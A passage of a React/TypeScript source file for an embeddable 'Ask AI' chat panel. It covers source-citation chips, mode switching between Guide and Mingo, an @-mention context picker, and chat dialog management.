title: item.name,\n          externalUrl: item.externalUrl,\n          targetPlatform: item.targetPlatform ?? null,\n          path: item.path,\n        },\n        sourceRowCtxFromRuntime(runtime, { baseRoute, chipBasePlatform }),\n      )\n      const ItemIcon = itemCta.icon\n      return {\n        label: item.name,\n        icon: <ItemIcon className=\"h-3.5 w-3.5\" />,\n        href: itemCta.href ?? undefined,\n        targetPlatform: itemCta.targetPlatform,\n        path: item.path ?? null,\n        secondaryAction:\n          onDiscuss && itemCta.askable && itemCta.chatRef\n            ? {\n                icon: <MessageSquare />,\n                label: `Ask about ${item.name}`,\n                onClick: () => onDiscuss(itemCta.chatRef!),\n              }\n            : undefined,\n      }\n    })\n\n    return (\n      <HoverDropdown\n        items={dropdownItems}\n        renderAnchor={({ href, targetPlatform, path, className, children }) => (\n          <NavLinkAnchorViaRuntime\n            href={href}\n            targetPlatform={targetPlatform ?? null}\n            path={path}\n            className={className}\n          >\n            {children}\n          </NavLinkAnchorViaRuntime>\n        )}\n      >\n        <span className={`${chipClass} cursor-pointer`}>\n          {icon}\n          <span className=\"truncate max-w-[160px]\">\n            [{src.index}] {src.name}\n          </span>\n        </span>\n      </HoverDropdown>\n    )\n  }\n\n  // Single-row chip helpers — wrap whatever clickable element each branch\n  // produces with the trailing Ask `SourceActionButton`.\n  const displayName = src.name || formatRelativePath(src.path)\n  const chipBody = (label: string) => (\n    <>\n      {icon}\n      <span className=\"truncate max-w-[160px]\">\n        [{src.index}] {label}\n      </span>\n    </>\n  )\n  const wrapChip = (clickable: React.ReactNode) => (\n    <span className=\"inline-flex items-center\">\n      {clickable}\n      <SourceActionButton\n        chatRef={cta.chatRef}\n        onDiscuss={onDiscuss}\n        density=\"inline\"\n        className=\"ml-1 -mr-1\"\n      />\n    </span>\n  )\n\n  // Click handler that routes through chat-runtime AND closes the chat\n  // panel ONLY on same-tab navigation. New-tab clicks leave the chat\n  // open so the user keeps their context while reading the new tab.\n  // Modifier-clicks pass through to the browser's native behavior.\n  // Single close model: matches `ChatCardNavWrap` for inline cards.\n  const buildClickHandler = (href: string, path: string | null | undefined, targetPlatform: string | null, isNewTab: boolean) =>\n    (e: React.MouseEvent<HTMLAnchorElement>) => {\n      const handled = handleChatNavClick(e, runtime, { href, path, targetPlatform }, router.push)\n      if (handled && !isNewTab && onClose) onClose()\n    }\n\n  // Entity chip with a resolved external URL. `resolveHrefForRuntime`\n  // applies embed-mode origin prefix so modifier-click / hover-preview\n  // / right-click \"copy link\" all land on the hub origin.\n  if (cta.href && !!src.externalUrl) {\n    const resolvedHref = resolveHrefForRuntime(cta.href, runtime)\n    const isNewTab = decideTab(resolvedHref, cta.targetPlatform ?? null)\n    return wrapChip(\n      <a\n        href={resolvedHref}\n        {...newTabAnchorAttrs(isNewTab)}\n        onClick={buildClickHandler(resolvedHref, null, cta.targetPlatform ?? null, isNewTab)}\n        className={chipClass}\n      >\n        {chipBody(src.name)}\n      </a>,\n    )\n  }\n\n  // In-app navigable doc (markdown / data-room PDF).\n  if (cta.href) {\n    const resolvedHref = resolveHrefForRuntime(cta.href, runtime)\n    const isNewTab = decideTab(resolvedHref, cta.targetPlatform ?? null)\n    return wrapChip(\n      <a\n        href={resolvedHref}\n        {...newTabAnchorAttrs(isNewTab)}\n        onClick={buildClickHandler(resolvedHref, src.path, cta.targetPlatform ?? null, isNewTab)}\n        className={chipClass}\n        title={displayName}\n      >\n        {chipBody(displayName)}\n      </a>,\n    )\n  }\n\n  // No openable destination — static label + Ask affordance only.\n  return wrapChip(\n    <span className={`${chipClass} cursor-default`} title={displayName}>\n      {chipBody(displayName)}\n    </span>,\n  )\n}\n\n/**\n * Cited-by-default source chip strip (Perplexity / ChatGPT pattern).\n * Cited rows render first; uncited tail hidden behind an expander.\n */\nfunction SourceChips({\n  cited,\n  uncited,\n  baseRoute,\n  chipBasePlatform,\n  onClose,\n  onDiscuss,\n}: {\n  cited: ChatSource[]\n  uncited: ChatSource[]\n  baseRoute: string\n  chipBasePlatform?: string\n  onClose: () => void\n  onDiscuss?: (ref: ChatRef) => void\n}) {\n  const [expanded, setExpanded] = useState(false)\n\n  if (cited.length === 0) {\n    const fallback = uncited.slice(0, FALLBACK_TOP_RETRIEVED)\n    if (fallback.length === 0) return null\n    return (\n      <div className=\"flex flex-col gap-1.5 mt-2 pt-2 border-t border-ods-border\">\n        <span className=\"text-h6 text-ods-text-muted uppercase\">\n          Top retrieved sources\n        </span>\n        <div className=\"flex flex-wrap gap-1.5\">\n          {fallback.map((src) => (\n            <SourceChip\n              key={src.index}\n              src={src}\n              baseRoute={baseRoute}\n              chipBasePlatform={chipBasePlatform}\n              onClose={onClose}\n              onDiscuss={onDiscuss}\n            />\n          ))}\n        </div>\n      </div>\n    )\n  }\n\n  const hiddenCount = uncited.length\n  const hasOverflow = hiddenCount > 0\n\n  return (\n    <div className=\"flex flex-col gap-1.5 mt-2 pt-2 border-t border-ods-border\">\n      <span className=\"text-h6 text-ods-text-muted uppercase\">\n        Sources\n      </span>\n      <div\n        className={`flex flex-wrap gap-1.5 ${expanded ? 'max-h-[200px] overflow-y-auto overscroll-contain' : ''}`}\n      >\n        {cited.map((src) => (\n          <SourceChip\n            key={src.index}\n            src={src}\n            baseRoute={baseRoute}\n            chipBasePlatform={chipBasePlatform}\n            onClose={onClose}\n            onDiscuss={onDiscuss}\n          />\n        ))}\n        {expanded &&\n          uncited.map((src) => (\n            <SourceChip\n              key={src.index}\n              src={src}\n              baseRoute={baseRoute}\n              chipBasePlatform={chipBasePlatform}\n              onClose={onClose}\n              onDiscuss={onDiscuss}\n            />\n          ))}\n        {hasOverflow && (\n          <button\n            onClick={() => setExpanded(!expanded)}\n            className=\"inline-flex items-center gap-1 px-2 py-0.5 rounded border text-h6 cursor-pointer transition-colors bg-ods-card border-ods-accent text-ods-accent hover:bg-ods-accent/10\"\n            aria-expanded={expanded}\n            aria-label={\n              expanded\n                ? 'Show fewer sources'\n                : `Show ${hiddenCount} additional retrieved sources`\n            }\n          >\n            {expanded\n              ? 'Show less'\n              : `+${hiddenCount} more retrieved ${\n                  hiddenCount === 1 ? 'source' : 'sources'\n                }`}\n          </button>\n        )}\n      </div>\n    </div>\n  )\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * EmbeddableChat — the floating \"Ask AI\" button + Mingo chat panel.\n * Lib-portable port of the hub's `<GlobalAskAI>`.\n */\n/**\n * Imperative escape hatch for the ONE thing a host can't express as a prop:\n * \"put the panel on a new chat, now\". Everything else the host drives is state\n * it already owns (open, active dialog, mode); this is a command, and it has to\n * work whether the panel was just mounted or has been open on the chat list for\n * a while — which a mount-time prop or a `view` prop can't do (re-asserting the\n * same value is not a change).\n */\nexport interface EmbeddableChatHandle {\n  /**\n   * Same as the panel's own \"Start New Chat\": clears the open conversation and\n   * its messages, force-closes the archive, and — in the narrow single-column\n   * layout — navigates from the \"Current Chats\" list to the composer. Wide\n   * layouts already show the new-chat welcome once nothing is open, so there\n   * the compose flag is inert.\n   */\n  startNewChat: () => void\n}\n\nexport const EmbeddableChat = React.forwardRef<\n  EmbeddableChatHandle,\n  EmbeddableChatProps\n>(function EmbeddableChat(props, ref) {\n  return <EmbeddableChatInner {...props} handleRef={ref} />\n})\n\nfunction EmbeddableChatInner({\n  baseRoute,\n  chipBasePlatform,\n  enabledRagTableIds = null,\n  emptyStateGreeting = null,\n  suggestedQueries = null,\n  open,\n  onOpenChange,\n  defaultOpen,\n  showInternalTrigger = true,\n  previewMode = false,\n  extras,\n  tableIdForDocumentType,\n  modes,\n  mingoState,\n  pendingApprovals,\n  mingoDialogCapabilities,\n  activeMode: controlledActiveMode,\n  onActiveModeChange,\n  activeAgentSlug,\n  onAgentChange: _onAgentChange,\n  aiAgentConfigUrl: aiAgentConfigUrlProp,\n  defaultActiveMode,\n  shell = 'drawer',\n  userDisplayName,\n  userAvatarUrl,\n  mingoWelcome,\n  guideWelcome,\n  contextPicker,\n  renderMention,\n  renderContextItem,\n  guidePendingPrompt,\n  onGuidePromptConsumed,\n  contextMemory,\n  handleRef,\n}: EmbeddableChatProps & { handleRef?: React.Ref<EmbeddableChatHandle> }) {\n  // `shell === 'none'` means the consumer hosts us inside their own panel\n  // (e.g. AppLayoutDrawer in openframe-frontend). Several drawer-shell\n  // concerns are unconditional in this codebase — gate them off here so\n  // we don't double-up with the host's behaviour.\n  const shellLess = shell === 'none'\n  const runtime = useRequiredChatRuntime()\n  // Optional on embedders (platform-agnostic); '' is a harmless sentinel for the\n  // `ask-ai:open-with-ref` event filter below. (DocSource is a `string` alias.)\n  const source = (runtime.source ?? '') as DocSource\n  const commandsUrl = runtime.endpoints.commandsUrl\n  // Server-resolved identity — drives the greeting first-name AND the\n  // attachment capability flag. Single source of truth: the chat-identity\n  // endpoint returns BOTH the auth tier and the resolved user, so the\n  // displayed name always matches who the server thinks the user is.\n  const { attachmentsEnabled, user: identityUser } = useChatIdentity()\n  const viewUrlPrefix = runtime.endpoints.attachmentViewUrlPrefix\n\n  // Dev-only warning when only one of `open` / `onOpenChange` is set.\n  useEffect(() => {\n    if (process.env.NODE_ENV !== 'production') {\n      const hasOpen = open !== undefined\n      const hasHandler = onOpenChange !== undefined\n      if (hasOpen !== hasHandler) {\n        console.warn(\n          '[EmbeddableChat] `open` and `onOpenChange` must both be provided ' +\n            'for controlled mode, or both omitted for uncontrolled. ' +\n            `Provided: open=${hasOpen}, onOpenChange=${hasHandler}.`,\n        )\n      }\n    }\n  }, [open, onOpenChange])\n\n  const [isOpen = false, setIsOpen] = useControllableState<boolean>({\n    prop: open,\n    defaultProp: defaultOpen ?? false,\n    onChange: onOpenChange,\n  })\n\n  // Suppress chat input auto-focus on touch devices (avoids popping the\n  // on-screen keyboard during the bottom-sheet open animation).\n  const [autoFocusInput] = useState(() => {\n    if (typeof window === 'undefined') return false\n    return !window.matchMedia('(pointer: coarse)').matches\n  })\n\n  // iOS scroll-lock — react-aria's two-layer approach plus body fixed-pos.\n  // See hub original for the long mechanism comment; logic copied verbatim.\n  // Skipped in shell-less mode: the host (AppLayoutDrawer) is in-layout, so\n  // there's no body-level overlay that should block page scrolling.\n  usePreventScroll({ isDisabled: !isOpen || shellLess })\n\n  const navigatingAwayRef = useRef(false)\n\n  useEffect(() => {\n    if (!isOpen) return\n    if (shellLess) return\n    if (typeof window === 'undefined') return\n    if (!isIOS()) return\n\n    navigatingAwayRef.current = false\n\n    const scrollY = window.scrollY\n    const openPathname = window.location.pathname\n    const body = document.body\n    const prev = {\n      position: body.style.position,\n      top: body.style.top,\n      width: body.style.width,\n    }\n    body.style.position = 'fixed'\n    body.style.top = `-${scrollY}px`\n    body.style.width = '100%'\n\n    return () => {\n      body.style.position = prev.position\n      body.style.top = prev.top\n      body.style.width = prev.width\n      if (navigatingAwayRef.current) return\n      if (window.location.pathname !== openPathname) return\n      window.scrollTo(0, scrollY)\n    }\n  }, [isOpen, shellLess])\n\n  // Imperative handle to the chat input.\n  const chatInputRef = useRef<ChatInputRef | null>(null)\n  // Full prompt of the currently hovered/focused quick-action chip, previewed\n  // as ghost text in the empty composer (`ChatInput.previewText`) — declarative\n  // + non-destructive: it never writes the editor value, so it can't clobber a\n  // draft. `null` = not previewing.\n  const [quickActionPreview, setQuickActionPreview] = useState<string | null>(null)\n\n  // The slash-command registry (Guide onboarding cards) is loaded via\n  // react-query below, after `activeMode` is resolved — gated on Guide mode and\n  // cached across remounts. See `commandsById` / `commandsLoaded`.\n\n  // Slash-command autocomplete config — passed to <ChatInput>.\n  const slashCommandsProp = useMemo(\n    () => ({\n      fetchCommands: (prefix: string, signal?: AbortSignal) =>\n        fetchSlashCommands(prefix, signal, commandsUrl),\n      resolveSourceIcon: (sourceId: string) => {\n        const iconName = getSourceIconName(sourceId)\n        if (!iconName) return undefined\n        return { Icon: resolveIcon(iconName, { variant: 'brand' }), label: sourceId }\n      },\n      onAction: (cmd: SlashCommandSummary, actionId: SlashCommandActionId) => {\n        dispatchSlashCommandAction(actionId, cmd.id, chatInputRef)\n      },\n    }),\n    [commandsUrl],\n  )\n\n  // Header sub-line: the full display name shown under the chat title. The\n  // server-resolved identity wins; the host-supplied `userDisplayName` is the\n  // fallback so the header still names the signed-in user when the identity\n  // endpoint returns no name. Empty → the header shows the title alone.\n  const headerUserName =\n    identityUser?.name?.trim() ||\n    [identityUser?.firstName, identityUser?.lastName]\n      .filter(Boolean)\n      .join(' ')\n      .trim() ||\n    userDisplayName?.trim() ||\n    undefined\n\n  // Synthesize `modes` from legacy props when the new API isn't used.\n  // `modes` wins when both are present — the legacy top-level\n  // `tableIdForDocumentType` is then silently ignored.\n  const effectiveModes = useMemo<UseUnifiedChatModes>(() => {\n    if (modes) return modes\n    const guideOptions: UseSseChatAdapterOptions = tableIdForDocumentType\n      ? { tableIdForDocumentType }\n      : {}\n    return { guide: guideOptions }\n  }, [modes, tableIdForDocumentType])\n\n  // Resolve dialog-management capabilities (rename / archive / archive-page /\n  // restore) from a single source. With injected `mingoState` they come from\n  // `mingoDialogCapabilities` (the host doesn't pass `modes.mingo`); otherwise\n  // from the callback-config shape, where the presence of a callback IS the\n  // capability. Both feed the same gating below so the JSX has one source.\n  const mingoCaps = useMemo(() => {\n    if (mingoState) {\n      // Default OFF: the row ⋯ menu (Rename / Archive) and the archive page are\n      // shown only when the host explicitly opts in — same capability-gating as\n      // the archive button (`fetchArchivedDialogs` presence). Otherwise the menu\n      // would advertise actions the host hasn't actually wired (no-ops).\n      return {\n        canRename: mingoDialogCapabilities?.canRename ?? false,\n        canArchive: mingoDialogCapabilities?.canArchive ?? false,\n        fetchArchivedDialogs: mingoDialogCapabilities?.fetchArchivedDialogs,\n        unarchiveDialog: mingoDialogCapabilities?.unarchiveDialog,\n        searchQuery: mingoDialogCapabilities?.searchQuery,\n        onSearchChange: mingoDialogCapabilities?.onSearchChange,\n        onCopyLink: mingoDialogCapabilities?.onCopyLink,\n      }\n    }\n    return {\n      canRename: !!effectiveModes.mingo?.renameDialog,\n      canArchive: !!effectiveModes.mingo?.archiveDialog,\n      fetchArchivedDialogs: effectiveModes.mingo?.fetchArchivedDialogs,\n      unarchiveDialog: effectiveModes.mingo?.unarchiveDialog,\n      searchQuery: undefined as string | undefined,\n      onSearchChange: undefined as ((query: string) => void) | undefined,\n      onCopyLink: undefined as ((dialog: DialogItem) => void) | undefined,\n    }\n  }, [mingoState, mingoDialogCapabilities, effectiveModes])\n\n  // \"Does Mingo mode exist?\" — true via either the callback config OR injected\n  // state. Gates the guide↔mingo back-chevron and the guide-mode banner.\n  const hasMingoMode = !!effectiveModes.mingo || !!mingoState\n\n  // Initial active mode picks the first configured slot when neither\n  // controlled `activeMode` nor `defaultActiveMode` is provided. Guide\n  // wins ties so legacy callers see no behaviour change.\n  const initialActiveMode: ChatMode =\n    controlledActiveMode ??\n    defaultActiveMode ??\n    (effectiveModes.guide ? 'guide' : 'mingo')\n\n  const [uncontrolledActiveMode, setUncontrolledActiveMode] =\n    useState<ChatMode>(initialActiveMode)\n  const activeMode = controlledActiveMode ?? uncontrolledActiveMode\n  const handleActiveModeChange = useCallback(\n    (next: ChatMode) => {\n      if (controlledActiveMode === undefined) {\n        setUncontrolledActiveMode(next)\n      }\n      onActiveModeChange?.(next)\n    },\n    [controlledActiveMode, onActiveModeChange],\n  )\n\n  // Slash-command registry (Guide onboarding cards) via the shared\n  // `useSlashCommandRegistry` react-query hook:\n  //   - `enabled: activeMode === 'guide'` → never fetched in Mingo mode, so\n  //     opening the default Mingo panel doesn't hit the commands endpoint.\n  //   - Shares one cache entry (keyed on `commandsUrl`) with the SSE adapter's\n  //     `displayRef` lookup, so Guide mode fetches `commands` ONCE, not twice.\n  //   - Cached with `staleTime/gcTime: Infinity` inside the hook, so toggling\n  //     to Guide or reopening the (remounting) drawer reads from cache.\n  const { commands: commandsList, loaded: commandsLoaded } =\n    useSlashCommandRegistry(commandsUrl, { enabled: activeMode === 'guide' })\n  const commandsById = useMemo(() => {\n    const map = new Map<string, SlashCommandSummary>()\n    for (const cmd of commandsList) map.set(cmd.id, cmd)\n    return map\n  }, [commandsList])\n\n  // Per-platform empty-state config (greeting + RAG-source filter + try-asking\n  // chips), admin-edited in `/admin/chat-config`. Host-mode (in-app) callers\n  // inject these as props and leave `emptyStateUrl` unset — the hook then\n  // disables the fetch and returns the neutral fallback, so the props win\n  // below. Cross-origin EMBEDDERS set `emptyStateUrl` and the fetched values\n  // take precedence.\n  //\n  // Fetched EXACTLY like the slash-command registry: gated on\n  // `activeMode === 'guide'` (every consumer — greeting, chip-catalog filter,\n  // try-asking chips — is Guide-only), so opening the default Mingo panel never\n  // hits the endpoint. Cached with `staleTime/gcTime: Infinity` inside the hook,\n  // so toggling to Guide or reopening the (remounting) drawer reads from cache\n  // — NOT a request per open.\n  // Agent-mode URL override: when an OpenFrame agent is selected, point the\n  // empty-state fetch at the agent's display-config endpoint (byte-compatible\n  // EmptyStateConfig shape) instead of the platform `emptyStateUrl`. Works in\n  // BOTH host and embed mode (no navigation-mode gate). Route precedence:\n  //   prop `aiAgentConfigUrl` → runtime endpoint → built-in default\n  // so agent mode functions with zero wiring yet stays fully overridable. The\n  // single `emptyStateUrl` var below feeds BOTH the fetch AND the downstream\n  // `emptyStateUrl ? fetched : prop` discriminator, so no other code changes.\n  const resolveAgentConfigUrl =\n    aiAgentConfigUrlProp ?? runtime.endpoints.aiAgentConfigUrl ?? DEFAULT_AI_AGENT_CONFIG_URL\n  const agentConfigUrl = activeAgentSlug ? resolveAgentConfigUrl(activeAgentSlug) : undefined\n  const emptyStateUrl = agentConfigUrl ?? runtime.endpoints.emptyStateUrl\n  // Widen the fetch gate so a selected agent's display loads regardless of the\n  // guide/mingo active mode (the platform empty-state stays Guide-only).\n  // `MingoWelcome` still owns its own surface in mingo mode — this just warms\n  // the agent config so greeting/suggested prompts are ready.\n  const { config: emptyStateConfig, loading: emptyStateLoading } =\n    useEmptyStateConfig(emptyStateUrl, {\n      enabled: activeMode === 'guide' || !!activeAgentSlug,\n    })\n  // Resolution: fetched (when `emptyStateUrl` set) → explicit prop → default.\n  // `greeting` is null-unambiguous so `??` chains cleanly; the arrays use\n  // `emptyStateUrl` as the discriminator because `[]` is a legitimate fetched\n  // value (\"admin disabled every source\") that must NOT fall back to the prop.\n  const effectiveGreeting = emptyStateConfig.greeting ?? emptyStateGreeting\n  const effectiveEnabledRagTableIds = emptyStateUrl\n    ? emptyStateConfig.enabledRagTableIds\n    : enabledRagTableIds\n  const effectiveSuggestedQueries = emptyStateUrl\n    ? emptyStateConfig.suggestedQueries\n    : suggestedQueries\n  // Structured quick actions (WITH icons) — the primary empty-state chip source\n  // both endpoints emit. Only meaningful in embed mode (`emptyStateUrl` set); in\n  // host mode chips arrive via the `guideWelcome.quickActions` prop instead.\n  const effectiveQuickActions = emptyStateUrl ? emptyStateConfig.quickActions : []\n  // Chat identity (name + icon) — surfaced on the empty state for BOTH agents\n  // (`/api/ai-agents/:slug` → agent's `openframe_ai_agents` identity) AND\n  // platform-driven chats (`/api/docs/empty-state` → `chat_admin_personas`\n  // identity). Null (admin configured none, or a host that omits it) → the\n  // built-in default (Mingo mark + \"Mingo Guide\"). Host-mode (no\n  // `emptyStateUrl`) still gets identity via the `guideWelcome` prop below.\n  const effectiveAssistantName = emptyStateConfig.name\n  const effectiveAssistantIcon = emptyStateConfig.icon\n  // The panel header needs a plain string. Host-mode passes the name via\n  // `guideWelcome.title` (any ReactNode) rather than the fetch, so fall back to\n  // it when it's a string. Null → header keeps the built-in \"Mingo Guide\".\n  const headerAssistantName =\n    effectiveAssistantName ??\n    (typeof guideWelcome?.title === 'string' ? guideWelcome.title : null)\n\n  const {\n    messages: rawMessages,\n    isLoading: chatLoading,\n    sendMessage,\n    discussRef,\n    stopMessage,\n    clearMessages,\n    currentProvider,\n    currentModelLabel,\n    currentContextWindowMaxTokens,\n    currentInputTokens,\n    currentOutputTokens,\n    currentCacheHitRatePct,\n    currentUsageBreakdown,\n    displayRef,\n    // ─── Dialog management (Mingo-mode inline history) ───\n    dialogs,\n    activeDialogId,\n    selectDialog,\n    renameDialog,\n    archiveDialog,\n    isDialogsLoading,\n    dialogsError,\n    reloadDialogs,\n    isMessagesLoading,\n    hasMoreDialogs,\n    loadMoreDialogs,\n    dialogScope,\n    setDialogScope,\n    hasMoreMessages,\n    loadMoreMessages,\n  } = useUnifiedChat({ modes: effectiveModes, activeMode, mingoStateOverride: mingoState })\n\n  // ── One-shot Guide-mode launcher prompt ────────────────────────────────────\n  // A host launcher (e.g. an \"Ask Mingo about X\" empty-state button) requests\n  // contextual guidance by forcing `activeMode='guide'` and passing the prompt\n  // via `guidePendingPrompt`. Send it once through the active (Guide/SSE)\n  // `sendMessage`, then tell the host to clear it. The boolean ref re-arms when\n  // the prop goes falsy (the host nulls it on consume), so the same text can be\n  // launched again on a later click. Guarded on guide mode so a transient render\n  // before the host's mode flip lands doesn't send into Mingo.\n  const guidePromptSentRef = useRef(false)\n  useEffect(() => {\n    if (!guidePendingPrompt) {\n      guidePromptSentRef.current = false\n      return\n    }\n    if (activeMode !== 'guide' || guidePromptSentRef.current) return\n    guidePromptSentRef.current = true\n    void sendMessage(guidePendingPrompt)\n    onGuidePromptConsumed?.()\n  }, [guidePendingPrompt, activeMode, sendMessage, onGuidePromptConsumed])\n\n  // Chat-attachment hooks (v2 attachment feature).\n  const {\n    attachments: stagedAttachments,\n    readyAttachments,\n    hasInflightUploads,\n    addFiles: addAttachmentFiles,\n    removeAttachment,\n    clear: clearAttachments,\n  } = useChatAttachments()\n  const { panelRef: galleryPanelRef, modal: galleryModal } =\n    useChatAttachmentImageGallery()\n\n  // ─── Entity-context picker state (host-driven via `contextPicker`) ─────────\n  // The lib owns selection + open/mention UI state; the host owns the data\n  // (`contextPicker.search`) and the outgoing payload (it reads\n  // `options.contextItems` on send). Inert unless `contextPicker` is set.\n  const contextMaxItems = contextPicker?.maxItems ?? 10\n  // The entity-context picker is Mingo-only: the Guide/SSE transport drops\n  // `contextItems`, so exposing the +/@ picker there would silently lose the\n  // user's attachment. Gate the composer's picker to Mingo mode (the staged\n  // selection is also cleared on the mode toggle below).\n  const contextPickerForMode = activeMode === 'mingo' ? contextPicker : undefined\n  const [contextItems, setContextItems] = useState<ChatContextItem[]>([])\n  const [contextPickerOpen, setContextPickerOpen] = useState(false)\n  const [mentionQuery, setMentionQuery] = useState<string | null>(null)\n  // True while the `@`-mention trigger is active — drives the single-select\n  // commit path below. A ref (not state) so the stable `toggleContextItem`\n  // callback reads the live value without rebuilding per keystroke.\n  const mentionActiveRef = useRef(false)\n  useEffect(() => {\n    mentionActiveRef.current = mentionQuery !== null\n  }, [mentionQuery])\n  // Keys (`\"<type>:<id>\"`) of context items that were committed via `@` and so\n  // have a `@type:id` token in the draft text. MULTI-mention: several coexist.\n  // Source of truth = the input text — deleting a token's chip drops its item.\n  const mentionKeysRef = useRef<Set<string>>(new Set())\n\n  // Staged picker selection is per-conversation and Mingo-only. Clear it (and the\n  // mention bookkeeping) whenever the active dialog changes or the mode toggles,\n  // so unsent chips can't bleed into another conversation — or into a Guide send,\n  // where the SSE transport silently drops `contextItems`. Mirrors the post-send\n  // reset in `handleSend`.\n  useEffect(() => {\n    setContextItems([])\n    setMentionQuery(null)\n    mentionKeysRef.current.clear()\n  }, [activeDialogId, activeMode])\n\n  // Map each entity type to its backend mention marker (host-declared on the\n  // entity type). Drives the committed `@marker:id` token; missing markers fall\n  // back to a lowercased type inside `mentionTokenOf`.\n  const mentionMarkerByType = useMemo(() => {\n    const m = new Map<string, string>()\n    for (const t of contextPicker?.entityTypes ?? []) if (t.marker) m.set(t.type, t.marker)\n    return m\n  }, [contextPicker?.entityTypes])\n\n  // Stable type → icon resolver (entity-type glyph). Used both for the inline\n  // composer chips (`commitMention` meta) and the message-bubble context chips.\n  // Keyed on `entityTypes` only so an inline `contextPicker={{…}}` doesn't\n  // rebuild it every render (its identity flows into the message memo).\n  const contextEntityTypes = contextPicker?.entityTypes\n  const resolveContextIcon = useMemo(() => {\n    const byType = new Map<string, React.ReactNode>()\n    for (const t of contextEntityTypes ?? []) byType.set(t.type, t.icon)\n    return (item: ChatContextItem) => byType.get(item.type)\n  }, [contextEntityTypes])\n\n  const toggleContextItem = useCallback(\n    (item: ChatContextItem) => {\n      const key = `${item.type}:${item.id}`\n      // `@`-mention flow → MULTI-select: commit a `@type:id` chip into the draft\n      // (prior mentions left in place) so each picked entity stays visible inline\n      // AND rides out in the context. The `+` flow (mention inactive) is the same\n      // multi-select on the chip strip.\n      if (mentionActiveRef.current) {\n        // Already attached → no-op (the picker's `@` flow is add-then-close; the\n        // chip already lives in the draft). Honour `maxItems` on growth.\n        if (contextItems.some((p) => `${p.type}:${p.id}` === key)) return\n        if (contextItems.length >= contextMaxItems) return\n        chatInputRef.current?.commitMention(mentionTokenOf(key, mentionMarkerByType), {\n          label: item.label,\n          icon: resolveContextIcon(item),\n        })\n        setContextItems((prev) => [...prev, item])\n        mentionKeysRef.current.add(key)\n        return\n      }\n      setContextItems((prev) => {\n        const idx = prev.findIndex((p) => `${p.type}:${p.id}` === key)\n        if (idx !== -1) return prev.filter((_, i) => i !== idx)\n        if (prev.length >= contextMaxItems) return prev\n        return [...prev, item]\n      })\n    },\n    [contextMaxItems, contextItems, mentionMarkerByType, resolveContextIcon],\n  )\n\n  const removeContextItem = useCallback((item: ChatContextItem) => {\n    const key = `${item.type}:${item.id}`\n    setContextItems((prev) => prev.filter((p) => `${p.type}:${p.id}` !== key))\n    // Removing a mention-backed chip must also strip its `@type:id` token from\n    // the draft, keeping text and context in lockstep (the inverse of deleting\n    // the chip in the input, which drops the item via `handleContextValueChange`).\n    if (mentionKeysRef.current.has(key)) {\n      mentionKeysRef.current.delete(key)\n      const cur = chatInputRef.current?.getValue() ?? ''\n      const next = cur.replace(`@${mentionTokenOf(key, mentionMarkerByType)}`, '').replace(/\\s{2,}/g, ' ').trimStart()\n      chatInputRef.current?.setValue(next)\n    }\n  }, [mentionMarkerByType])\n\n  // Draft → context reconciliation: when the user deletes a `@type:id` chip from\n  // the input, drop the matching mention item. Checks EVERY token-backed key\n  // (multi-mention). `+`-added items have no token in the text and are untouched.\n  const handleContextValueChange = useCallback((value: string) => {\n    for (const key of Array.from(mentionKeysRef.current)) {\n      if (!value.includes(`@${mentionTokenOf(key, mentionMarkerByType)}`)) {\n        mentionKeysRef.current.delete(key)\n        setContextItems((prev) => prev.filter((p) => `${p.type}:${p.id}` !== key))\n      }\n    }\n  }, [mentionMarkerByType])\n\n  const openContextPicker = useCallback(() => {\n    setMentionQuery(null)\n    setContextPickerOpen(true)\n  }, [])\n\n  const closeContextPicker = useCallback(() => {\n    // Strip the `@query` scaffolding so it never gets sent as literal text —\n    // but ONLY when an `@`-mention trigger is actually active. When the picker\n    // was opened via the `+` button (no trigger), there's no scaffolding to\n    // clean up, and running the strip could eat an incidental trailing `@word`\n    // the user typed. (Read the ref before clearing the query state.)\n    if (mentionActiveRef.current) {\n      chatInputRef.current?.removeMentionTrigger()\n    }\n    setContextPickerOpen(false)\n    setMentionQuery(null)\n  }, [])\n\n  // `@`-trigger from the input: a non-null query opens (and filters) the\n  // picker; null (token dismissed / space typed) closes it.\n  const handleMentionQueryChange = useCallback((query: string | null) => {\n    setMentionQuery(query)\n    setContextPickerOpen(query !== null)\n  }, [])\n\n  // `renderMention` is HOST-provided (see the prop doc): the per-type renderer\n  // for inline AI mentions `@marker:id` (mirror of `renderEntityCard`). The lib\n  // forwards it verbatim to the message list and calls it from the `mention://`\n  // override; the host returns a self-fetching chip.\n\n  // Resolve base route. Hub default mapping: flamingo → /knowledge-base,\n  // anything else → /data-room. Embedders override per platform. An embedder that\n  // doesn't host an in-app doc viewer should NOT pass an empty baseRoute (that just\n  // falls back to the platform default here) — instead it sets a truthy baseRoute +\n  // `chipBasePlatform` so doc chips with no externalUrl resolve cross-platform to that\n  // platform's public knowledge hub (`getBaseUrl(chipBasePlatform)/knowledge-base/…`),\n  // exactly like the hub's openframe config (baseRoute:'/', chipBasePlatform:'openframe').\n  const resolvedBaseRoute =\n    baseRoute || (source === 'flamingo' ? '/knowledge-base' : '/data-room')\n\n  const handleClose = useCallback(() => setIsOpen(false), [setIsOpen])\n\n  const handleNavigationClose = useCallback(() => {\n    navigatingAwayRef.current = true\n    setIsOpen(false)\n  }, [setIsOpen])\n\n  // Stable panel-level handle for descendants (inline cards via\n  // `ChatCardNavWrap` and markdown-body links via\n  // `NavLinkAnchorViaRuntime`) to close the panel after same-tab\n  // navigation. Uses `handleNavigationClose` (not `handleClose`) so the\n  // iOS scroll-restore cleanup effect at the bottom of this file sees\n  // `navigatingAwayRef.current = true` and skips restoring the chat's\n  // saved scroll position over the freshly-loaded destination page.\n  // Source chips already route through `handleNavigationClose`; inline\n  // cards now match. New-tab clicks never invoke `closeChat`.\n  const chatPanelHandle = useMemo<ChatPanelHandle>(\n    () => ({ closeChat: handleNavigationClose }),\n    [handleNavigationClose],\n  )\n\n  // Host-provided renderer for inline entity cards — routes through the\n  // shared dispatcher in lib's `entity-cards/dispatch.tsx`.\n  const renderEntityCard = useCallback(\n    (reference: ChatRef): React.ReactNode =>\n      renderChatInlineEntityCard(reference, {\n        onDiscuss: discussRef,\n        onDisplay: displayRef,\n        baseRoute: resolvedBaseRoute,\n        chipBasePlatform,\n        extras,\n      }),\n    [discussRef, displayRef, resolvedBaseRoute, chipBasePlatform, extras],\n  )\n\n  // Stable assistant-icon element. `<ChatMessageList>` forwards this prop to\n  // every assistant `<ChatMessageEnhanced>`, whose memo compares it BY\n  // REFERENCE. Created inline in JSX it was a fresh element on every render,\n  // defeating the memo for all assistant messages (re-rendering 